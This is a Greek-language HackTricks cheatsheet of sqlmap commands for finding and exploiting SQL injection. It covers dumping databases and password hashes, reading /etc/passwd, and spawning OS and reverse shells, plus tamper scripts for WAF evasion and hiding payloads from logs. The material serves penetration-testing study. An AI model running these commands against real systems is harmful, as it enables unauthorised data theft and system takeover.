SQLMap - Cheatsheet

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικά επιχειρήματα για το SQLmap

Γενικά

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Ανάκτηση Πληροφοριών

Εσωτερικό

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Δεδομένα DB

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Χρησιμοποιώντας SQLMapping είναι ένα πρακτικό εργαλείο που δημιουργεί εντολές και παρέχει μια πλήρη επισκόπηση, τόσο βασική όσο και προχωρημένη, για το SQLMap. Περιλαμβάνει ToolTips που εξηγούν κάθε πτυχή του εργαλείου, λεπτομερώνοντας κάθε επιλογή ώστε να μπορείτε να βελτιώσετε και να κατανοήσετε πώς να το χρησιμοποιείτε αποδοτικά και αποτελεσματικά.

Τόπος έγχυσης

Από την καταγραφή Burp/ZAP

Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Εισαγωγή Αιτήματος POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Υποδείξτε τη συμβολοσειρά όταν η ένεση είναι επιτυχής

bash
--string="string_showed_when_TRUE"

Προσθήκη τεχνικής ανίχνευσης

Αν βρείτε ένα SQLi αλλά το sqlmap δεν το ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως --prefix ή --suffix, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο /usr/share/sqlmap/data/xml/payloads/time_blind.xml για παράδειγμα για time blind based.

Eval

Sqlmap επιτρέπει τη χρήση του -e ή --eval για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η flask cookie session υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Κέλυφος

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Διαβάστε το αρχείο

bash
--file-read=/etc/passwd

Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Δεύτερη Τάξη Εισαγωγής

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Διαβάστε αυτή την ανάρτηση για το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.

Προσαρμογή Εισαγωγής

Ορίστε ένα επίθημα

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Πρόθεμα

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Βοήθεια για την εύρεση boolean injection

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Θυμηθείτε ότι μπορείτε να δημιουργήσετε το δικό σας tamper σε python και είναι πολύ απλό. Μπορείτε να βρείτε ένα παράδειγμα tamper στη σελίδα Δεύτερης Τάξης Εισαγωγής εδώ.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyΑντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8
apostrophenullencode.pyΑντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode
appendnullbyte.pyΠροσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload
base64encode.pyΚωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload
between.pyΑντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #'
bluecoat.pyΑντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE
chardoubleencode.pyΔιπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)
commalesslimit.pyΑντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M'
commalessmid.pyΑντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)'
concat2concatws.pyΑντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyΚωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)
charunicodeencode.pyΚωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022"
charunicodeescape.pyΚωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022"
equaltolike.pyΑντικαθιστά όλες τις εμφανίσεις του τελεστή ίσος ('=') με τον τελεστή 'LIKE'
escapequotes.pyΔιαφεύγει τις αποστροφές (' και ")
greatest.pyΑντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST'
halfversionedmorekeywords.pyΠροσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί
ifnull2ifisnull.pyΑντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyΠεριβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση
modsecurityzeroversioned.pyΠεριβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης
multiplespaces.pyΠροσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL
nonrecursivereplacement.pyΑντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα
percentage.pyΠροσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα
overlongutf8.pyΜετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)
randomcase.pyΑντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή περίπτωσης
randomcomments.pyΠροσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL
securesphere.pyΠροσθέτει ειδικά κατασκευασμένο string
sp_password.pyΠροσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS
space2comment.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια
space2dash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')
space2hash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')
space2morehash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')
space2mssqlblank.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
space2mssqlhash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n')
space2mysqlblank.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
space2mysqldash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n')
space2plus.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+')
space2randomblank.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
symboliclogical.pyΑντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και
unionalltounion.pyΑντικαθιστά UNION ALL SELECT με UNION SELECT
unmagicquotes.pyΑντικαθιστά τον χαρακτήρα αποστροφής (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει)
uppercase.pyΑντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT'
varnish.pyΠροσθέτει μια HTTP κεφαλίδα 'X-originating-IP'
versionedkeywords.pyΠεριβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση
versionedmorekeywords.pyΠεριβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση
xforwardedfor.pyΠροσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For'

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks